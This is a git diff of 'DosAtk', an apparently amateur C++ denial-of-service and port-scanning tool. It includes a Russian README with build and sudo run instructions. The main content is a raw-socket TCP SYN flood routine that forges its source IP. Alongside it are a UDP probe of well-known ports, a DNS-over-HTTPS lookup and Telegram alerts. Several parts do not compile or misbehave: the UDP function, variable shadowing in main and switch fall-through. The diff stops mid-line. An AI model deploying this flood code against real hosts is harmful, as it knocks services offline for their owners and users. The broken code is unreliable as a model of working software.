diff --git a/.gitignore b/.gitignore index 600d2d3..7451162 100644 --- a/.gitignore +++ b/.gitignore @@ -1 +1,4 @@ -.vscode \ No newline at end of file +.vscode +src/test.cpp +test +DosAtk diff --git a/README.md b/README.md index 90d9c1c..cb5d8bd 100644 --- a/README.md +++ b/README.md @@ -1,10 +1,35 @@ # Как жить? +Регаемся на данном сайте, форкаем либу, пушим в свой форк и создаём merge request. +Либо просим у Серафима контрибьютора и сразу делаем ветку где надо (так даже лучше, не придётся мучаться с мержем из форка) + ``` -git clone https://gitea.serafimdev.com/serafim/dos # Клонируем репозиторий +git clone https://gitea.serafimdev.com/serafim/dos # Клонируем репозиторий (замените на свой форк!) git checkout -b my_dns # Создаём ветку для реализации модуля my_dns git add * # Добавляем написанный код в комит git commit -m 'Написал код' # Комитим в локальную ветку git push origin my_dns # Пушим свою ветку в репозиторий # Теперь в интерфейсе https://gitea.serafimdev.com/serafim/dos создаём пул реквест и пишем мне в тг -``` \ No newline at end of file +``` + +# Компиляция + +Для компиляции: `./build.sh` (после компиляции запускает файл), либо ручками: `g++ src/DosAtk.cpp -o DosAtk -lcurl -lssl -lcrypto` +Если ошибка отсутствия заголовочных файлов, то нужно установить: + +``` +sudo apt-get install libcurl4-openssl-dev +sudo apt-get install libssl-dev +``` + +# Запуск + +Пример запуска: + +``` +sudo ./DosAtk -a flood -i 127.0.0.1 -p 800 # запуск заранее скомпилированной программы +sudo ./build.sh -a flood -i 127.0.0.1 -p 800 # скомипилирует и запустит программу +``` + +Запускается только на Линухе! + diff --git a/build.sh b/build.sh index 477c251..ce2b8a0 100755 --- a/build.sh +++ b/build.sh @@ -1,2 +1,4 @@ -g++ src/DosAtk.cpp -o DosAtk -lcurl +#!/bin/sh +set -e # if compilation fail next command will not be executed, so older version of programm will not be launched +g++ src/DosAtk.cpp -o DosAtk -lcurl -lssl -lcrypto ./DosAtk "$@" diff --git a/src/DosAtk.cpp b/src/DosAtk.cpp index 725ef8f..e33bf19 100644 --- a/src/DosAtk.cpp +++ b/src/DosAtk.cpp @@ -1,120 +1,192 @@ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include +/* +██████╗ ██████╗██╗ ██╗ ██╗██████╗ +██╔══██╗██╔════╝██║ ██║ ██║██╔══██╗ +██║ ██║██║ ██║ ██║ ██║██████╔╝ +██║ ██║██║ ██║ ██║ ██║██╔══██╗ +██████╔╝╚██████╗███████╗ ███████╗██║██████╔╝ +╚═════╝ ╚═════╝╚══════╝ ╚══════╝╚═╝╚═════╝ +*/ -// ====== DCL ====== // +#include // Работа со строками и памятью (memset, memcpy) +#include // POSIX API (close, read, write) +#include // Сокеты (socket, setsockopt, sendto) +#include // Структура IP-заголовка (struct iphdr) +#include // Структура TCP-заголовка (struct tcphdr) +#include // Преобразование IP-адресов (inet_addr, inet_pton) +#include // Определение констант сетевых интерфейсов (IFNAMSIZ) +#include // Управление сокетами и интерфейсами (ioctl) +#include // Флаги файловых дескрипторов (fcntl) +#include // Строки +#include // Для работы с временем +#include // Для struct option и getopt_long() +#include // Основной заголовок libcurl +#include // стандартный input output +#include // Форматированный ввод/вывод +#include // Работа с JSON +#include // Стандартный ввод/вывод (C) +#include // Базовые функции (C) +#include // Работа со строками (C) +#include // Сетевые функции, интернет-адреса -std::string attack_type; -std::string domain; -std::string ip; -std::string port; -std::string log_file; -std::string telegram_id; -std::string telegram_token; -int n_ok_requests; -int n_fail_requests; -std::chrono::system_clock::time_point start_timestamp; -std::string log_msg; -std::string fin_msg; -std::string msg; +/* +██████╗ ██████╗██╗ ██╗ ██╗ █████╗ ██████╗ ███████╗ +██╔══██╗██╔════╝██║ ██║ ██║██╔══██╗██╔══██╗██╔════╝ +██║ ██║██║ ██║ ██║ ██║███████║██████╔╝███████╗ +██║ ██║██║ ██║ ╚██╗ ██╔╝██╔══██║██╔══██╗╚════██║ +██████╔╝╚██████╗███████╗ ╚████╔╝ ██║ ██║██║ ██║███████║ +╚═════╝ ╚═════╝╚══════╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════ +*/ -int my_check_params(int argc, char **argv) +int argc; // Количество аргументов при вызове программы +char **argv; // Массив строк с агрументами +std::string attack_type; // Тип атаки: scan или syn +std::string domain; // Доменное Имя +std::string ip; // Ip жертвы +std::string port; // Порт для syn атаки +std::string log_file; // Путь к директории для логов +std::string telegram_id; // Telegram ID для уведомлений +std::string telegram_token; // Токен бота для уведомлений +int n_ok_requests; // Количество успешных запросов +int n_fail_requests; // Количество не успешных запросов +std::chrono::system_clock::time_point start_timestamp; // Начальное время работы +std::string log_msg; // Сообщение, которое будет записано в лог-файл +std::string fin_msg; // Сообщение, которое будет выведено в консоль пользователю +std::string msg; // Сообщение, которое будет отправлено в телеграм +int status; // Статус работы программы +// int log_status; + +/* +██████╗ ██████╗██╗ ██████╗ ██████╗ ██████╗ ██████╗███████╗██████╗ ██╗ ██╗██████╗ ███████╗███████╗ +██╔══██╗██╔════╝██║ ██╔══██╗██╔══██╗██╔═══██╗██╔════╝██╔════╝██╔══██╗██║ ██║██╔══██╗██╔════╝██╔════╝ +██║ ██║██║ ██║ ██████╔╝██████╔╝██║ ██║██║ █████╗ ██║ ██║██║ ██║██████╔╝█████╗ ███████╗ +██║ ██║██║ ██║ ██╔═══╝ ██╔══██╗██║ ██║██║ ██╔══╝ ██║ ██║██║ ██║██╔══██╗██╔══╝ ╚════██║ +██████╔╝╚██████╗███████╗ ██║ ██║ ██║╚██████╔╝╚██████╗███████╗██████╔╝╚██████╔╝██║ ██║███████╗███████║ +╚═════╝ ╚═════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝╚══════╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚══════╝ +*/ + +int my_check_params() { - std::string debug_msg; - debug_msg = ""; - for (int i = 0; i < argc; i++) { - debug_msg += argv[i]; - debug_msg += " "; - } - printf("begin my_check_params (argc: %i, argv: %s)\n", argc, debug_msg.c_str()); + // Данная процедура записывает в глобальные переменные параметры + // (attack_type, domain, ip, port, log_file, telegram_id, telegram_token) проводимой атаки, поступившие при вызове программы + // На вход получает int argc, char **argv, возвращает код выполнения + // Коды возврата: + // 2 - Атака флуд, все нужные опции есть + // 1 - Атака порт скан, все нужные опции есть + // 0 - нужна помощь + // -1 - пользователь не ввел тип атаки или ввел неверный тип атаки + // -10 - Пользователь выбрал тип атаки порт сканнинг, но не ввел нужные параметры + // -20 - Пользователь выбрал тип атаки флуд, но не ввел нужные параметры + // -101 - неизвестная опция или потерян аргумент, следует предложить вызвать флаг помощи + // -600 - пользователь ввел токен, но не id или наоборот - int status; - int opt; - const char* short_options = "a:d:i:p:l:t:b:h"; - const struct option long_options[] = { - {"attack", required_argument, NULL, 'a'}, - {"domain", required_argument, NULL, 'd'}, - {"ip", required_argument, NULL, 'i'}, - {"port", required_argument, NULL, 'p'}, - {"log", required_argument, NULL, 'l'}, - {"telegram", required_argument, NULL, 't'}, - {"token", required_argument, NULL, 'b'}, - {"help", no_argument, NULL, 'h'}, - {NULL, 0, NULL, 0} - }; + //Объявление + std::chrono::milliseconds ms; // Количество миллисекунд от целой секунды времени начала выполнения программы + std::time_t now_time_t; // текущее время + int opt; // Прочитанный параметр + const char* short_options; // Сокращения для параметров + struct option long_options[10]; // Структура, описывающая пеобходимые программе параметры + int i; // Счётчик для цикла + // Инициализация + ms = std::chrono::duration_cast(start_timestamp.time_since_epoch()) % 1000; + opt = -1; + short_options = "a:d:i:p:l:t:b:h"; + long_options[0] = {"attack", required_argument, NULL, 'a'}; + long_options[1] = {"domain", required_argument, NULL, 'd'}; + long_options[2] = {"ip", required_argument, NULL, 'i'}; + long_options[3] = {"port", required_argument, NULL, 'p'}; + long_options[4] = {"log", required_argument, NULL, 'l'}; + long_options[5] = {"telegram", required_argument, NULL, 't'}; + long_options[6] = {"token", required_argument, NULL, 'b'}; + long_options[7] = {"help", no_argument, NULL, 'h'}; + long_options[8] = {NULL, 0, NULL, 0}; + i = 0; + + printf("begin my_check_params"); // debug + + now_time_t = std::time(nullptr); + // Выводим информацию о времени запуска программы + printf("Starting DosAtk at %04d-%02d-%02d %02d:%02d:%02d.%03ld\n", // Шаблон для вывода + std::localtime(&now_time_t)->tm_year + 1900, // Год (с 1900) + std::localtime(&now_time_t)->tm_mon + 1, // Месяц (0-11) + std::localtime(&now_time_t)->tm_mday, // День месяца + std::localtime(&now_time_t)->tm_hour, // Часы + std::localtime(&now_time_t)->tm_min, // Минуты + std::localtime(&now_time_t)->tm_sec, // Секунды + ms.count()); // Миллисекунды + + // Обрабатываем аргументы командной строки с помощью getopt_long + // Цикл продолжается, пока getopt_long возвращает валидные опции (-1 означает конец опций) while ((opt = getopt_long(argc, argv, short_options, long_options, NULL)) != -1) { switch (opt) { - case 'a': - attack_type = optarg; + case 'a': // Обработка опции -a (--attack) + attack_type = optarg; // Сохраняем тип атаки (scan/flood) break; - case 'd': - domain = optarg; + case 'd': // Обработка опции -d (--domain) + domain = optarg; // Сохраняем доменное имя цели break; - case 'i': - ip = optarg; + case 'i': // Обработка опции -i (--ip) + ip = optarg; // Сохраняем IP-адрес цели break; - case 'p': - port = optarg; + case 'p': // Обработка опции -p (--port) + port = optarg; // Сохраняем номер порта break; - case 'l': - log_file = optarg; + case 'l': // Обработка опции -l (--log) + log_file = optarg; // Сохраняем путь к лог-файлу break; - case 't': - telegram_id = optarg; + case 't': // Обработка опции -t (--telegram) + telegram_id = optarg; // Сохраняем Telegram ID break; - case 'b': - telegram_token = optarg; + case 'b': // Обработка опции -b (--token) + telegram_token = optarg; // Сохраняем токен бота Telegram break; - case 'h': - status = 0; + case 'h': // Обработка опции -h (--help) + return 0; // Устанавливаем статус "показать справку" break; - case '?': - status = -101; + case '?': // Обработка неизвестной опции + return -101; // Устанавливаем статус "неизвестная опция" break; } } - if (status != 0 && status != -101) + if (status != 0 && status != -101) // Проверяем корректность введенных параметров { - if (attack_type != "flood" && attack_type != "scan") { - status = -1; + if (attack_type != "flood" && attack_type != "scan") { // Проверяем валидность типа атаки + return -1; // Некорректный тип атаки } - else if (attack_type == "scan" && domain.empty() && ip.empty()) { - status = -10; + else if (attack_type == "scan" && domain.empty() && ip.empty()) { // Для port scanning нужен домен или IP + return -10; // Не указана цель для сканирования } - else if (attack_type == "flood" && domain.empty() && ip.empty()) { - status = -20; + else if (attack_type == "flood" && domain.empty() && ip.empty()) { // Для флуд-атаки нужен домен или IP + return -20; // Не указана цель для флуда } - else if ((!telegram_id.empty() && telegram_token.empty()) || (telegram_id.empty() && !telegram_token.empty())) { - status = -600; + else if ((!telegram_id.empty() && telegram_token.empty()) || // Если указан telegram token то нужен и id + (telegram_id.empty() && !telegram_token.empty())) { // Если указан telegram id то нужен и token + return -600; // Неполные данные для Telegram } - else if (attack_type == "scan") { - status = 1; + else if (attack_type == "scan") { // Если все проверки пройдены и тип атаки - сканирование + return 1; // Валидные параметры для сканирования } - else if (attack_type == "flood") { - status = 2; + + else if (attack_type == "flood") { // Если все проверки пройдены и тип атаки - флуд + return 2; // Валидные параметры для флуда } } - printf("end my_check_params status: %i\n", status); - return status; + printf("end my_check_params status: %i\n", status); // debug + + return -101; } -void my_diag(int status) +void my_diag() { - printf("begin my_diag (status: %i)\n", status); - switch (status) + // Данная функция вызывается в случае ошибки на каком-то этапе и на основании поступившего кода, + // формирует сообщение с описанием произошедшей ошибки + printf("begin my_diag, status: %i\n", status); // debug + + switch (status) // Выбор сообщения в зависимости от кода ошибки { - case 0: + case 0: // Специальный случай - вывод справки по использованию printf("Usage: ./DosAtk [options]\n" "Required:\n" " -a, --attack TYPE Type of attack (scan|flood)\n" @@ -126,203 +198,677 @@ void my_diag(int status) " -t, --telegram ID Telegram ID\n" " -b, --token TOKEN Telegram bot token\n"); break; - case -1: + case -1: // Некорректный тип атаки printf("Error: Invalid attack type!\n--help for more info\n"); break; - case -10: + case -10: // Отсутствуют обязательные параметры для сканирования портов printf("Error: Missing required parameters for port scanning!\n--help for more info\n"); break; - case -20: + case -20: // Отсутствуют обязательные параметры для SYN flood атаки printf("Error: Missing required parameters for tcp syn dos attack!\n--help for more info\n"); break; - case -101: + case -101: // Встречена неизвестная опция командной строки printf("Error: Unknown option!\n.--help for info\n"); break; - case -600: + case -600: // Неполные данные для Telegram-уведомлений printf("Error: To use telegram integration both telegram_id and telegram_token have to be provided!\n.--help for info\n"); break; + case -501: + printf("Error: Invalid target IP address\n"); + break; + case -502: + printf("Error: Failed to create UDP socket\n"); + break; + case -503: + printf("Error: UDP packet send failed\n"); + break; } - printf("end my_diag\n"); + + printf("end my_diag\n"); // debug +} + +// Функция для экранирования специальных символов в строке перед использованием в JSON +// Принимает: const std::string& s - исходная строка для обработки +// Возвращает: std::string - строка с экранированными спецсимволами +std::string escape_json(const std::string& s) +{ + // Возвращаем строку с экранированными символами + + // ===== Объявления ===== + std::string result; // Результирующая строка с экранированными символами + char c; // Символ в строке + + // ===== Инициализация ===== + result = ""; + c = '\0'; // пустой символ + + // Проходим по каждому символу входной строки + for (char c : s) { + // Обрабатываем специальные символы JSON + switch (c) { + case '"': result += "\\\""; break; // Экранирование двойных кавычек + case '\\': result += "\\\\"; break; // Экранирование обратного слеша + case '\b': result += "\\b"; break; // Экранирование backspace + case '\f': result += "\\f"; break; // Экранирование formfeed + case '\n': result += "\\n"; break; // Экранирование новой строки + case '\r': result += "\\r"; break; // Экранирование возврата каретки + case '\t': result += "\\t"; break; // Экранирование табуляции + default: result += c; break; // Все остальные символы добавляем как есть + } + } + + return result; // Возвращаем обработанную строку +} + +bool is_numeric(const std::string& s) +{ + // Проверка, является ли строка числом (включая отрицательные) + + // ===== Объявления ===== + size_t start; // Индекс, с которого начинать проверку цифр + size_t i; + + // ===== Инициализация ===== + start = 0; + i = 0; + + if (s.empty()) return false; // Пустая строка не может быть числом + + // Проверяем наличие знака минус в начале + if (s[0] == '-') { + // Строка из одного минуса не является числом + if (s.size() == 1) return false; + // Если минус есть, начинаем проверку с следующего символа + start = 1; + } + // Проверяем все оставшиеся символы на цифры + for (i = start; i < s.size(); ++i) { + // Найден нецифровой символ - строка не число + if (!isdigit(s[i])) return false; + } + + // Все проверки пройдены - строка является числом + return true; } void my_msg() { - printf("begin my_msg()\n"); - printf("%s\n", msg.c_str()); - printf("end my_msg"); + printf("begin my_msg"); // debug + + // Объявление + struct curl_slist* headers; // Заголовки HTTP-запроса + CURL* curl; // Указатель на CURL-объект + std::string escaped_msg; // Экранированное сообщение для JSON + std::string chat_id_field; // Поле chat_id для JSON + std::string json_data; // Итоговый JSON для отправки + long http_code; // HTTP-код ответа + CURLcode res; // Код результата CURL-операции + + // Инициализация + headers = curl_slist_append(nullptr, "Content-Type: application/json"); // Установка заголовка Content-Type + curl = curl_easy_init(); // Инициализация CURL + escaped_msg = escape_json(msg); // Экранирование спецсимволов в сообщении для JSON + chat_id_field = is_numeric(telegram_id) ? "\"chat_id\": " + telegram_id : "\"chat_id\": \"" + telegram_id + "\""; + json_data = "{" + chat_id_field + ", \"text\": \"" + escaped_msg + "\"}"; // Сборка JSON-запроса + http_code = 0; + res = CURLE_OK; + + // Проверка наличия обязательных параметров Telegram + if (telegram_token.empty() || telegram_id.empty()) + { + status = 0; // Интеграция с Telegram не настроена (отсутствует токен или ID) + } + + if (!curl) + { + status = 6; // Ошибка инициализации CURL + } + + // Настройка параметров CURL-запроса + curl_easy_setopt(curl, CURLOPT_URL, ("https://api.telegram.org/bot" + telegram_token + "/sendMessage").c_str()); // URL API Telegram + curl_easy_setopt(curl, CURLOPT_POST, 1L); // Использовать POST-метод + curl_easy_setopt(curl, CURLOPT_POSTFIELDS, json_data.c_str()); // Тело запроса (JSON) + curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); // Заголовки запроса + curl_easy_setopt(curl, CURLOPT_USERAGENT, "libcurl/7.68.0"); // User-Agent + + // Игнорирование вывода ответа (пустая функция обратного вызова) + curl_easy_setopt( + curl, CURLOPT_WRITEFUNCTION, + [](void*, size_t size, size_t nmemb, void*) -> size_t { + return size * nmemb; + } + ); + + // Выполнение HTTP-запроса + res = curl_easy_perform(curl); + + // Получение HTTP-кода ответа + curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_code); + + // Освобождение ресурсов + curl_slist_free_all(headers); // Очистка заголовков + curl_easy_cleanup(curl); // Завершение работы CURL + + // Обработка ошибок CURL + if (res != CURLE_OK) + { + status = 5; // Ошибка выполнения запроса + } + + // Обработка HTTP-кодов ответа + switch (http_code) + { + case 200: + status = 0; // Успешный запрос + case 401: + status = 1; // Ошибка авторизации (неверный токен) + case 400: + status = 2; // Неверный запрос + case 404: + status = 3; // Ресурс не найден + case 500: + status = 4; // Ошибка сервера + } + + printf("end my_msg"); // debug } int my_log() { + // Данная функция записывает в файл лога сообщение + printf("start my_log"); // debug + printf("end my_log"); // debug return 0; } void my_fin() { - auto end_timestamp = std::chrono::system_clock::now(); - auto end_time_t = std::chrono::system_clock::to_time_t(end_timestamp); - auto end_ms = std::chrono::duration_cast(end_timestamp.time_since_epoch()) % 1000; + // Данная процедура завершает программу и рассчитывает итоговое время выполнения программы + + // Объявления + time_t end_time_t; // Время завершения выполненя программы + std::chrono::milliseconds duration; // Длительность выполнения программы + std::chrono::hours hours; // Компонента часов времени завершения + std::chrono::minutes minutes; // Компонента минут времени завершения + std::chrono::seconds seconds; // Компонента секунд времени завершения + std::chrono::milliseconds milliseconds; // Компонента миллисекунд времени завершения - auto duration = end_timestamp - start_timestamp; - auto hours = std::chrono::duration_cast(duration); - auto minutes = std::chrono::duration_cast(duration % std::chrono::hours(1)); - auto seconds = std::chrono::duration_cast(duration % std::chrono::minutes(1)); - auto milliseconds = std::chrono::duration_cast(duration % std::chrono::seconds(1)); + // Иницаализация + end_time_t = std::chrono::system_clock::to_time_t(std::chrono::system_clock::now()); + duration = std::chrono::duration_cast(std::chrono::system_clock::now() - start_timestamp); // Вычисляем продолжительность работы программы + hours = std::chrono::duration_cast(duration); // Разбиваем продолжительность на компоненты + minutes = std::chrono::duration_cast(duration % std::chrono::hours(1)); // Разбиваем продолжительность на компоненты + seconds = std::chrono::duration_cast(duration % std::chrono::minutes(1)); // Разбиваем продолжительность на компоненты + milliseconds = std::chrono::duration_cast(duration % std::chrono::seconds(1)); // Разбиваем продолжительность на компоненты + double total_seconds; - std::cout << "Worked for "; - if (duration < std::chrono::minutes(2)) { - double total_seconds = std::chrono::duration(duration).count(); + printf("begin my_diag\n"); // debug + + std::cout << "Worked for "; // Выводим информацию о времени работы + // Для коротких периодов (<2 минут) выводим в секундах с дробной частью + if (duration < std::chrono::minutes(2)) + { + total_seconds = std::chrono::duration(duration).count(); std::cout << std::fixed << std::setprecision(3) << total_seconds << " seconds"; - } else { - if (hours.count() > 0) std::cout << hours.count() << "h "; - if (minutes.count() > 0) std::cout << minutes.count() << "m "; - std::cout << seconds.count() << "s " << milliseconds.count() << "ms"; } - std::cout << std::endl; + else + { + // Для длительных периодов выводим в формате ЧЧ:ММ:СС.мс + if (hours.count() > 0) // Если программа работала хотя бы один час + { + std::cout << hours.count() << "h "; // Выводим часы + } + if (minutes.count() > 0) // Если программа работала хотя бы одину минуту + { + std::cout << minutes.count() << "m "; // Вывовим минуты + } + std::cout << seconds.count() << "s " << milliseconds.count() << "ms"; // Выводим секунды и миллисекунды + } + std::cout << std::endl; // После осуществления вывода переходим на новую строку + // Выводим статистику по запросам std::cout << "Sent " << (n_ok_requests + n_fail_requests) << " requests (" << n_ok_requests << " ok, " << n_fail_requests << " failed)" << std::endl; + // Выводим точное время завершения работы std::cout << "DosAtk stopped at " << std::put_time(std::localtime(&end_time_t), "%Y-%m-%d %H:%M:%S") - << "." << std::setfill('0') << std::setw(3) << end_ms.count() << std::endl; + << "." << std::setfill('0') << std::setw(3) << milliseconds.count() << std::endl; - std::exit(0); + // Завершаем программу с кодом состояния + std::exit(status); +} + +int my_tcp_syn() { + /* + * Отправляет TCP SYN запрос на указанный IP и порт + * status: + * 0 - запрос успешно отправлен (атака продолжается) + * 2 - достигнуто максимальное количество запросов (1000) + * -201 - ошибка создания raw-сокета + * -202 - ошибка отправки SYN-пакета + */ + printf("start my_tcp_syn"); // debug + + // === Объявление локальных переменных === + int sock; // Основной raw-сокет для отправки пакетов + int one; // Флаг для setsockopt + // Структуры для адресов + struct sockaddr_in target_addr; // Адрес цели + // Параметры подключения + uint16_t target_port; // Порт цели (в сетевом порядке байт) + // Структуры заголовков + struct iphdr ip_header; // IP-заголовок пакета + struct tcphdr tcp_header; // TCP-заголовок пакета + // Псевдозаголовок для контрольной суммы + struct { + uint32_t saddr; + uint32_t daddr; + uint8_t zero; + uint8_t protocol; + uint16_t tcp_len; + } pseudo_header; + // Буферы данных + char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Буфер для контрольной суммы + char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет + + // Переменные для встроенного расчета контрольной суммы + uint16_t *checksum_ptr; + unsigned long checksum_sum; + uint8_t *checksum_byte_ptr; + int checksum_len; + + // === Инициализация переменных === + sock = -1; + one = 1; + memset(&target_addr, 0, sizeof(target_addr)); + target_port = htons(atoi(port.c_str())); + memset(&ip_header, 0, sizeof(ip_header)); + memset(&tcp_header, 0, sizeof(tcp_header)); + memset(&pseudo_header, 0, sizeof(pseudo_header)); + memset(temp_buf, 0, sizeof(temp_buf)); + memset(packet, 0, sizeof(packet)); + checksum_ptr = 0; + checksum_sum = 0; + checksum_len = 0; + + // === Основная логика процедуры === + // 1. Создание raw-сокета + if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) { + return -201; + } + + // 2. Установка опции IP_HDRINCL + setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)); + + // 3. Настройка адреса цели + memset(&target_addr, 0, sizeof(target_addr)); + target_addr.sin_family = AF_INET; + if (inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0) { + close(sock); + return -202; + } + + // 4. Формирование IP заголовка + memset(&ip_header, 0, sizeof(ip_header)); + ip_header.ihl = 5; + ip_header.version = 4; + ip_header.tot_len = htons(sizeof(iphdr) + sizeof(tcphdr)); + ip_header.ttl = 64; + ip_header.protocol = IPPROTO_TCP; + ip_header.saddr = inet_addr("127.0.0.1"); + ip_header.daddr = inet_addr(ip.c_str()); + + // 5. Формирование TCP заголовка + memset(&tcp_header, 0, sizeof(tcphdr)); + tcp_header.source = htons(12345); + tcp_header.dest = target_port; + tcp_header.seq = htonl(123456); + tcp_header.doff = 5; + tcp_header.syn = 1; + tcp_header.window = htons(5840); + + // 6. Расчет контрольной суммы + pseudo_header = { + .saddr = ip_header.saddr, + .daddr = ip_header.daddr, + .zero = 0, + .protocol = IPPROTO_TCP, + .tcp_len = htons(sizeof(tcphdr)) + }; + memcpy(temp_buf, &pseudo_header, sizeof(pseudo_header)); + memcpy(temp_buf + sizeof(pseudo_header), &tcp_header, sizeof(tcphdr)); + + // Встроенный расчет контрольной суммы + checksum_ptr = (uint16_t *)temp_buf; + checksum_len = sizeof(temp_buf); + + while (checksum_len > 1) { + checksum_sum += *checksum_ptr++; + checksum_len -= 2; + } + + if (checksum_len == 1) { + checksum_byte_ptr = (uint8_t *)checksum_ptr; + checksum_sum += *checksum_byte_ptr; + } + + checksum_sum = (checksum_sum >> 16) + (checksum_sum & 0xFFFF); + tcp_header.check = (unsigned short)(~checksum_sum); + + // 7. Сборка пакета + memcpy(packet, &ip_header, sizeof(iphdr)); + memcpy(packet + sizeof(iphdr), &tcp_header, sizeof(tcphdr)); + + // 8. Отправка пакета + if (sendto(sock, packet, sizeof(packet), 0, + (struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) { + n_fail_requests++; + return -202; + } else { + n_ok_requests++; + } + + // 9. Проверка завершения + if ((n_ok_requests + n_fail_requests) >= 1000) { + return 2; + } + + + close(sock); + printf("end my_tcp_syn"); // debug + return 0; +} + +void my_udp() { + // Выполняет UDP портовое сканирование well-known портов + int status; + int sockfd; // Дескриптор сокета + struct sockaddr_in target_addr; // Адрес цели + static int port_idx; // Текущий индекс порта + static const int ports[]; // Список портов + static const int ports_total; + int curr_port; // Текущий порт + const char dummy_data[]; // Данные для отправки + ssize_t send_result; // Результат отправки + + // Инициализация структуры адреса + memset(&target_addr, 0, sizeof(target_addr)); + curr_port = ports[port_idx]; + dummy_data[] = "SCAN"; + target_addr.sin_family = AF_INET; + target_addr.sin_port = htons(curr_port); + ports_total = sizeof(ports)/sizeof(ports[0]) + sockfd = -1; + port_idx = 0; + ports = { // Список портов + 53, 67, 68, 69, 123, 161, 162, 389, 443, 500, 514, 520, 1900, 4500 + }; + + // Преобразование IP + if (inet_pton(AF_INET, ip, &target_addr.sin_addr) <= 0) { + n_fail_requests++; + status = -501; // Код ошибки: неверный IP + if (sockfd != -1) close(sockfd); + return status; + } + + // Создание сокета + sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); + if (sockfd < 0) { + n_fail_requests++; + status = -502; // Ошибка создания сокета + if (sockfd != -1) close(sockfd); + return status; + } + + // Отправка данных + send_result = sendto(sockfd, dummy_data, sizeof(dummy_data), 0, + (struct sockaddr*)&target_addr, sizeof(target_addr)); + if (send_result < 0) { + n_fail_requests++; + status = -503; // Ошибка отправки + } else { + n_ok_requests++; + status = 0; // Успешная отправка + } + + // Проверка общего числа запросов + if (n_ok_requests + n_fail_requests >= 1000) { + status = 2; // Условие завершения + } + + // Переход к следующему порту + port_idx = (port_idx + 1) % ports_total; + return status; +} + +// Callback для записи ответа от сервера +size_t WriteCallback(void* contents, size_t size, size_t nmemb, std::string* output) { + size_t total_size = size * nmemb; + output->append((char*)contents, total_size); + return total_size; } int my_dns() { - return 0; + // Данная процедура сопостовляет доменное имя с IP + // Обрабатываем перменнкю domain, записываем в ip + // -4001 - ошибка инициализации CURL + // -4002 - ошибка запроса CURL + // -4003 - ошибка парсинга JSON + + CURL* curl; // объект curl + CURLcode res; // результат выполнения запроса + std::string response; // ответ DNS сервера + std::string url; // API DNS сервера + struct curl_slist* headers; // Заголовки + nlohmann::json json_data; // Ответ от dns сервера + int status; // Состояние работы процедуры + + status = 0; + curl = 0; + res = {}; + response = ""; + url = ""; + headers = {0}; + json_data = {0}; + + printf("start my_dns"); // debug + + // Инициализируем curl + curl = curl_easy_init(); + if (!curl) { + status = -4001; + } + else { + // Формируем URL для Cloudflare DoH + url = "https://1.1.1.1/dns-query?name=" + domain + "&type=A"; + + // Настройки CURL + curl_easy_setopt(curl, CURLOPT_URL, url.c_str()); + curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteCallback); + curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); + curl_easy_setopt(curl, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_2_0); // HTTP/2 + curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 1L); // Проверка SSL + + // Устанавливаем заголовок + headers = curl_slist_append(headers, "accept: application/dns-json"); + curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); + + // Выполняем запрос + res = curl_easy_perform(curl); + if (res != CURLE_OK) { + status = -4002; + } else { + // Парсим JSON и извлекаем IP + try { + json_data = nlohmann::json::parse(response); + if (json_data.contains("Answer")) { + for (const nlohmann::json& record : json_data["Answer"]) { + if (record["type"] == 1) { // A-запись (IPv4) (Это же и проверка валидного IP) + ip = record["data"].get(); + break; + } + } + } + } catch (const std::exception& e) { + status = -4003; + } + } + } + + // Освобождаем ресурсы + curl_slist_free_all(headers); + curl_easy_cleanup(curl); + + if (!status) { + status = 1; + } + + printf("end my_dns"); // debug + return status; } -int my_tcp_syn() +/* +█████ █████ ██ ███ █████ ████ ███ █████ ████ ███ █ █ █ █ █ █ + █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ ██ ██ ██ ██ █ █ + █ ████ █ █ █ █ █ █ ████ █ █ █ ████ █████ █ █ █ █ █ █ ███ █ + █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ + █ █████ █ █ ███ █ █ █ ███ █ █ █ █ █ █ █ █ ███ █ +*/ + +int main(int arg_ctr, char **arg_ptr) { - return 2; -} + // Инициализация глобальных переменных + int argc = arg_ctr; + char **argv = arg_ptr; + std::string attack_type = ""; + std::string domain = ""; + std::string ip = ""; + std::string port = ""; + std::string log_file = "/var/log/DosAtk"; + std::string telegram_id = ""; + std::string telegram_token = ""; + int n_ok_requests = 0; + int n_fail_requests = 0; + std::chrono::system_clock::time_point start_timestamp = std::chrono::system_clock::now(); + std::string log_msg = ""; + std::string fin_msg = ""; + std::string msg; + int status = 0; -int my_udp() -{ - return 2; -} - -int main(int argc, char **argv) -{ - int check_params_status; - int log_status; - int dns_status; - int udp_status; - int tcp_syn_status; - - // ====== Тело программы ====== // - n_ok_requests = 0; - n_fail_requests = 0; - start_timestamp = std::chrono::system_clock::now(); - - time_t now_time_t = std::chrono::system_clock::to_time_t(start_timestamp); - - std::chrono::milliseconds ms = std::chrono::duration_cast(start_timestamp.time_since_epoch()) % 1000; - - printf("Starting DosAtk at %04d-%02d-%02d %02d:%02d:%02d.%03ld\n", - std::localtime(&now_time_t)->tm_year + 1900, - std::localtime(&now_time_t)->tm_mon + 1, - std::localtime(&now_time_t)->tm_mday, - std::localtime(&now_time_t)->tm_hour, - std::localtime(&now_time_t)->tm_min, - std::localtime(&now_time_t)->tm_sec, - ms.count()); - - check_params_status = my_check_params(argc, argv); - switch (check_params_status) + status = my_check_params(); // Проверяем параметры командной строки + + + switch (status) // Обрабатываем результат проверки параметров { - case 1: - dns_status = my_dns(); - if (dns_status == 